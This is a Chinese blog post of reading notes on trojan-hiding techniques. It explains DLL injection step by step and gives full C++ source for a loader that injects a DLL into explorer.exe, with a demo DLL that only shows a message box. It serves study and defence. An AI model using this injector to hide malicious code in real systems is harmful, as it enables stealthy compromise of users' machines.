木马隐藏技术(3) -- 进程注入
此为《木马技术揭秘与防御》系列读书笔记
进程注入prerequirement
类似的说法:
线程插入、DLL注入、远程线程插入
线程插入:
让一个线程在别的进程中执行
DLL文件隐藏的原理:
dll文件不能单独运行,需要由进程(宿主)加载并调用。因为不能单独运行,dll文件就不会在进程管理器中出现,于是入侵检测软件和进程列表中都只有宿主进程的id,而找不到dll。
进程注入的优点:
1.需要插入到远程进程的内存空间是通过virtualAllocEx这样的函数分配的,只存在于内存中,如果不是内存查杀,很难发现。
2.可以复用宿主进程的名称、端口,更加隐蔽
进程注入的流程
1. 编写引导程序(Loader.exe),将dll文件注入到远程进程
1.1 将系统权限提升到Debug模式,因为只有debug模式才能打开远程进程的handle。使用到的函数:EnableDebugPrivilege
1.2 打开远程进程。使用到的函数:OpenProcess
HANDLE WINAPI OpenProcess(
__in DWORD dwDesiredAccess,
__in BOOL bInheritHandle,
__in DWORD dwProcessId
);
第一个参数的权限至少是:PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE (这些权限对 proteced 进程无效)
方便起见,这里直接给PROCESS_ALL_ACCESS权限
1.3 给DLL文件的路径分配内存空间。使用到的函数:VirtualAllocEx()。
1.4 将DLL文件内容写入到远程进程。使用到的函数:WriteProcessMemory。
BOOL WINAPI WriteProcessMemory( __in HANDLE hProcess, __in LPVOID lpBaseAddress, __in LPCVOID lpBuffer, __in SIZE_T nSize, __out SIZE_T *lpNumberOfBytesWritten );
基址lpBaseAddress 为 VirtualAllocEx 分配的空间首地址
1.5 在宿主进程中启动新线程完成插入。使用到的函数:CreateRemoteThread。
HANDLE WINAPI CreateRemoteThread(
__in HANDLE hProcess,
__in LPSECURITY_ATTRIBUTES lpThreadAttributes,
__in SIZE_T dwStackSize,
__in LPTHREAD_START_ROUTINE lpStartAddress,
__in LPVOID lpParameter,
__in DWORD dwCreationFlags,
__out LPDWORD lpThreadId
);
重点在第四个参数 -- lpStartAddress:
A pointer to the application-defined function of type LPTHREAD_START_ROUTINE to be executed by the thread and represents the starting address of the thread in the remote process. The function must exist in the remote process.
lpStartAddress指向宿主进程中线程的起始地址,这里,新线程用来执行 dll 中的函数,所以要找到插入 dll 的首地址。
使用LoadLibraryA()函数来加载dll,使用前需要知道它的入口地址,所以用GetProcAddress()来获得入口地址,如下:
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32.dll")),"LoadLibraryA");
2. 编写恶意 dll文件(DllDemo.dll),做任意操作。
新建一个简单的dll工程,主文件内容如下,编译后放到Loader.exe工程的根目录既可。
// DllDemo.cpp : Defines the entry point for the DLL application. // #include "stdafx.h" #include <iostream> #include <windows.h> BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { char * szProcessId = (char*)malloc(10 * sizeof(char)); switch(ul_reason_for_call){ case DLL_PROCESS_ATTACH:{ _itoa(GetCurrentProcessId(),szProcessId,10); MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK); } default: return TRUE; } }
试验效果:
使用xuetr查看,发现dll文件已经插入explorer进程中
Loader 对应的代码如下:
![](https://images.cnblogs.com/OutliningIndicators/ContractedBlock.gif)
1 #include <iostream> 2 #include <windows.h> 3 #include <TLHELP32.H> 4 5 BOOL InjectDll(char *, DWORD); 6 DWORD GetProcessId(); 7 int EnableDebugPrivilege(const char* name); 8 9 using namespace std; 10 11 int main() 12 { 13 char myFile[MAX_PATH]; 14 GetCurrentDirectory(MAX_PATH,myFile); 15 strcat(myFile,"\\DllDemo.dll"); 16 cout<<"myFile=>"<<myFile<<endl; 17 if(!InjectDll(myFile,GetProcessId())){ 18 cout<<"inject failed"<<endl; 19 return 1; 20 } 21 cout<<"inject succ!!"<<endl; 22 return 0; 23 } 24 25 BOOL InjectDll(char * fullPath, DWORD dwRemoteProcessId) 26 { 27 HANDLE hRemoteProcess; 28 BOOL bRet; 29 // 1st: set debug mode for more privilege 30 EnableDebugPrivilege(SE_DEBUG_NAME); 31 // 2nd: open the remote process 32 hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwRemoteProcessId); 33 // 3nd: use VirtualAlloc() to request memory for our dll file 34 char * pszLibFileRemote; 35 pszLibFileRemote = (char*)VirtualAllocEx(hRemoteProcess,NULL,lstrlen(fullPath)+1,MEM_COMMIT,PAGE_READWRITE); 36 // 4th: write into remote process's share memory 37 bRet = WriteProcessMemory(hRemoteProcess,pszLibFileRemote,(void *)fullPath,lstrlen(fullPath)+1, NULL); 38 if(!bRet){ 39 cout<<"write process memory failed"<<endl; 40 } 41 // 5th: calculate Enter Address of LoadLibraryA 42 PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32.dll")),"LoadLibraryA"); 43 HANDLE hRemoteThread; 44 if((hRemoteThread = CreateRemoteThread(hRemoteProcess,NULL,0,pfnStartAddr,pszLibFileRemote,0,NULL)) == NULL){ 45 cout<<"Inject Remote Thread failed!"<<endl; 46 return FALSE; 47 } 48 49 CloseHandle(hRemoteThread); 50 CloseHandle(hRemoteProcess); 51 52 return TRUE; 53 } 54 55 DWORD GetProcessId() 56 { 57 DWORD dwPid = -1; 58 HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); 59 60 PROCESSENTRY32 lPrs; 61 ZeroMemory(&lPrs,sizeof(lPrs)); 62 lPrs.dwSize = sizeof(lPrs); 63 char *targetFile = "explorer.exe"; 64 Process32First(hSnap,&lPrs); 65 if(strstr(targetFile,lPrs.szExeFile)){ 66 dwPid = lPrs.th32ProcessID; 67 return dwPid; 68 } 69 // else 70 while(1){ 71 ZeroMemory(&lPrs,sizeof(lPrs)); 72 lPrs.dwSize = (&lPrs,sizeof(lPrs)); 73 if(!Process32Next(hSnap,&lPrs)){ 74 dwPid = -1; 75 break; 76 } 77 if(strstr(targetFile,lPrs.szExeFile)){ 78 dwPid = lPrs.th32ProcessID; 79 break; 80 } 81 } 82 cout<<"Pid of Explorer.exe"<<dwPid<<endl; 83 return dwPid; 84 } 85 86 int EnableDebugPrivilege(const char* name) 87 { 88 HANDLE hToken; 89 TOKEN_PRIVILEGES tp; 90 LUID luid; 91 92 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken); 93 LookupPrivilegeValue(NULL,name,&luid); 94 tp.PrivilegeCount = 1; 95 tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 96 tp.Privileges[0].Luid = luid; 97 98 if(AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL)){ 99 cout<<"Adjust privilege succ!"<<endl; 100 } 101 102 return 0; 103 }